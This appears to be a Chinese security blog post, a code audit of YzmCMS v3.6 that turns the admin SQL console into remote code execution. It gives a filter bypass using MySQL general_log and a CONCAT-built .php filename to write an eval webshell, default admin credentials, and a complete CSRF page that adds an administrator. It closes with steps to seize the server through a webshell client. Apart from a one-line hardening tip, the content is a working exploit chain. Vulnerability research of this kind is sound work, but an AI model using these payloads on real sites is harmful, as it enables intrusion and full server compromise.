【程式碼審計】YzmCMS_PHP_v3.6 程式碼執行漏洞分析
0x00 環境準備
YzmCMS官網:http://www.yzmcms.com/
程式原始碼下載:http://pan.baidu.com/s/1pKA4u99
測試網站首頁:
0x01 程式碼分析
1、檔案位置: /application/admin/controller/sql.class.php第10-42行中:
- public function init() {
- if(isset($_POST['sqlstr'])){
- if(!C('sql_execute')) showmsg('根據系統配置,不允許線上執行SQL命令!', 'stop');
- $sqlstr = MAGIC_QUOTES_GPC ? stripslashes($_POST['sqlstr']) : $_POST['sqlstr'];
- $sqlstr = rtrim(trim($sqlstr), ';');
- $sqls = $_POST['action']=='many' ? explode(';', $sqlstr) : array(0 =>
- $admin = D('admin');
- foreach($sqls as $sql){
- 10. if(stristr($sql, 'outfile')){
- 11. $str = '<span class="c-red">ERROR : 檢測到非法字元 “outfile”!</span>';
- 12. break;
- 13. }
- 14. if(stristr($sql, '.php')){
- 15. $str = '<span class="c-red">ERROR : 檢測到非法字元 “.php” !</span>';
- 16. break;
- 17. }
- 18. if(preg_match("/^drop(.*)database/i", $sql)){
- 19. $str = '<span class="c-red">ERROR : 不允許刪除資料庫!</span>';
- 20. break;
- 21. }
- 22. $result = $admin->query($sql);
- 23. if($result){
- 24. $str = '<span style="color:green">OK : 執行成功!</span>';
- 25. if(is_object($result) || is_resource($result)){
- 26. $arr = $admin->fetch_all($result);
- 27. }
- 28. }else{
- 29. $str = '<span class="c-red">ERROR : 執行失敗!</span>';
- 30. break;
- 31. }
- 32. }
- 33. }
這段函式中對提交的sql引數進行還原處理,然後進行非法字元檢測,檢測字元是否存在”oufile”、”.php”,匹配是否有刪除資料的操作等。
2、如何繞過這種限制?
首頁,outfile被禁止,第一時間想到的就是SQL語句利用日誌寫入檔案,但是寫入指令碼檔案”.php”會被檢測到非法字元;然後,嘗試MySQL中concat函式來連線字串,拆分’.php’關鍵詞,如 CONCAT("test.","php");最後構造出可以寫入檔案,繞過非法字元檢測的的SQL語句,從而觸發程式碼執行漏洞,控制伺服器。
Payload:
- show variables like '%general%'; #檢視配置
- set global general_log = on; #開啟general log模式
- set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php");
- select '<?php eval($_POST[cmd]);?>'; #寫入shell
0x02 漏洞利用
A、如何獲取後臺管理員許可權
有兩種思路:
思路A:通過預設資訊,弱口令登入
預設後臺路徑:http://127.0.0.1/admin/index/login.html
管理員預設賬號密碼均為:yzmcms
思路B:通過CSRF漏洞,誘導管理員訪問,自動在後臺新增管理員賬號。
CSRF漏洞利用程式碼如下:
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
- <html>
- <head>
- <title>OWASP CRSFTester Demonstration</title>
- </head>
- <body onload="javascript:fireForms()">
- <script language="JavaScript">
- var pauses = new Array( "68" );
- 10.
11. function pausecomp(millis)
12. {
- 13. var date = new Date();
- 14. var curDate = null;
- 15.
- 16. do { curDate = new Date(); }
- 17. while(curDate-date < millis);
18. }
- 19.
20. function fireForms()
21. {
- 22. var count = 1;
- 23. var i=0;
- 24.
- 25. for(i=0; i<count; i++)
- 26. {
- 27. document.forms[i].submit();
- 28.
- 29. pausecomp(pauses[i]);
- 30. }
31. }
- 32.
33. </script>
34. <H2>OWASP CRSFTester Demonstration</H2>
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">
36. <input type="hidden" name="adminname" value="admin"/>
37. <input type="hidden" name="password" value="abc123!"/>
38. <input type="hidden" name="password2" value="abc123!"/>
39. <input type="hidden" name="email" value=""/>
40. <input type="hidden" name="realname" value=""/>
41. <input type="hidden" name="roleid" value="1"/>
42. <input type="hidden" name="dosubmit" value="1"/>
43. </form>
44. </body>
45. </html>
B、程式碼執行漏洞利用
Payload:
- show variables like '%general%'; #檢視配置
- set global general_log = on; #開啟general log模式
- set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php");
- select '<?php eval($_POST[cmd]);?>'; #寫入shell
1、 執行sql語句,檢視mysql日誌配置情況
2、 根據日誌檔案位置或者預設站點路徑來推測站點目錄,可用load_file()函式來測試,確認站點目錄位置。或者通過phpinfo()等資訊收集獲取站點目錄。
3、 分別執行下列sql語句,將指令碼程式碼寫入檔案:
set global general_log = on;
set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); select '<?php eval($_POST[cmd]);?>';
4、 提交引數,執行指令碼程式碼:
5、 通過菜刀連線,獲取伺服器控制權限:
0x03 修復建議
1、Mysql資料庫降權處理,讓入侵者無法做高許可權下可做的事!
最後
歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。